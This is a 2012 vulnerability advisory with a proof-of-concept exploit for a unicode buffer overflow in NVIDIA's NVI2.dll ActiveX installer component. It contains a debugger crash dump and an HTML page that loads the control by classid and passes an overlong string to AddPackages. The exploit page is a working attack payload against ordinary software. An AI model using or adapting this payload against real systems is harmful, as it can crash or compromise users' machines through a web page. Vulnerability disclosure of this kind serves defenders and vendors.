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<!-- NVIDIA Install Application 2.1002.85.551 (NVI2.dll) Unicode Buffer Overflow PoC Vendor: NVIDIA Corporation Product web page: http://www.nvidia.com Affected version: 2.1002.85.551 (Driver: 306.97) Summary: NVIDIA install core application for Windows. Desc: The vulnerability is caused due to a boundary error in NVI2.DLL when handling the value assigned to the 'pDirectory' string variable in the 'AddPackages' function and can be exploited to cause a unicode buffer overflow by inserting an overly long array of data which may lead to execution of arbitrary code. ---------------------------------------------------------------------------------- (19ac.21d4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=004142a0 ebx=01a83610 ecx=24194ce0 edx=00000002 esi=00000000 edi=00000000 eip=5e26d7fc esp=0023ebe8 ebp=0023ec84 iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206 C:\Program Files\NVIDIA Corporation\Installer2\installer.2\NVI2.DLL - NVI2!DllInstall+0xbf5c: 5e26d7fc 8b37mov esi,dword ptr [edi]ds:0023:00000000=???????? 0:000> d eax+40 004142e041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. 004142f041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. 0041430041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. 0041431041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. 0041432041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. 0041433041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. 0041434041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. 0041435041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. ---------------------------------------------------------------------------------- Tested on: Microsoft Windows 7 Ultimate SP1 (EN) 32bit - Drivers bundle used: 306.97-desktop-win8-win7-winvista-32bit-english-whql.exe Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2012-5116 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5116.php 02.12.2012 --> <html><body> <object classid='clsid:A9C8F210-55EB-4849-8807-EC49C5389A79' id='attack' /> <script> pDirectory=String(2068, "A") attack.AddPackages pDirectory </script> </body></html> |
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